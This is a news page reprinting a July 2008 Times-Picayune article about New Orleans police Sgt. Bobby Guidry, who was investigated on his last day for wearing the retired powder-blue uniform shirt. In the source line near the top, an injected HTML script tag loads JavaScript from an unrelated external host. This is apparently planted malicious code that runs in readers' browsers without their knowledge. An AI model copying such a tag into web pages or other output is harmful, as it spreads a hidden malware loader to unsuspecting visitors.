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NEWS > 09 July 2008

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 Article sourced from

New Orleans Police Department,<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
The Times-Picayune - NOLA.com
09 July 2008
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New Orleans Police Department,

NOPD officer punished for wear

With minutes left in the last shift of his 35-year New Orleans police career, Sgt. Bobby Guidry received a call from a supervisor telling him he had been suspended for wearing the wrong uniform shirt, the veteran officer said.

The Police Department confirmed the censure Tuesday, though it quibbled with the term "suspended." Rather, Guidry is "under investigation for wearing the wrong uniform," said Police Department spokesman Bob Young.

Instead of the standard-issue all-black uniform, Guidry, a veteran officer in the city's Uptown 2nd District, chose the powder-blue uniform shirt that he wore to work for more than three decades.


He viewed it as a simple statement, not an affront to rules or department leadership.

"Eighteen people died in the line of duty in that powder-blue shirt while I was with the department," Guidry said. "I went to each of those funerals. I wore that shirt on a Saturday, on my last day, out of respect for them."

Police brass apparently didn't appreciate the sartorial statement, which took place June 28. Young said the improper uniform complaint originated in the 2nd District. The department's Public Integrity Bureau then opened a formal investigation with about 15 minutes left in Guidry's career.

The punishment will not affect Guidry's pension or benefits, but, as it stands now, he will not receive his retired police commission and will not be accepted into the NOPD's reserve unit, for which he had applied, Young said.

Superintendent Warren Riley, who could not be reached for comment, was apprised of the investigation, Young said.

Young said Riley stressed that "an officer has to maintain professionalism at all times, whether it is his first or last day."

For Guidry, the whole affair turned what might have been a bittersweet day simply bitter.

Guidry said a Police Department investigator called him and suggested he "write a letter to the chief and apologize."

He hasn't done that yet.

"What do I apologize for?" Guidry said. "I wore the wrong shirt. . . . I'll take a letter of reprimand, but a suspension? That's rough."

Guidry's attorney, Eric Hessler, said the retired officer will cooperate with investigators but appeal the disciplinary action. He called the timing of the reprimand particularly disrespectful to Guidry's many years of service.

"He was literally moving his stuff from his office into his car," Hessler said Tuesday. "He was basically done."

On his last day, Guidry said his supervisor advised him that he was suspended and a city employee called him days later with the same news. He has since received no paperwork or formal reprimand, and he said he hasn't been interviewed by NOPD internal investigators.

Young disagreed with the term "suspended," but he said Guidry's permanent record will reflect that he "retired under investigation."

The powder-blue uniform shirt had been worn by officers since the Police Department's inception. Riley changed the uniform after Hurricane Katrina to all-black uniforms.

"A lot of uniforms were displaced after the storm, and they wanted to eliminate the possibility of uniforms getting into the hands of criminals," Young said of the change.

Some officers protested the change. Many complained that the all-black uniform was too hot and that it bucked tradition.

Riley, in what some in the Police Department call a move to boost morale, recently announced that the department would revert to powder-blue shirts, probably by the first of the year.

 

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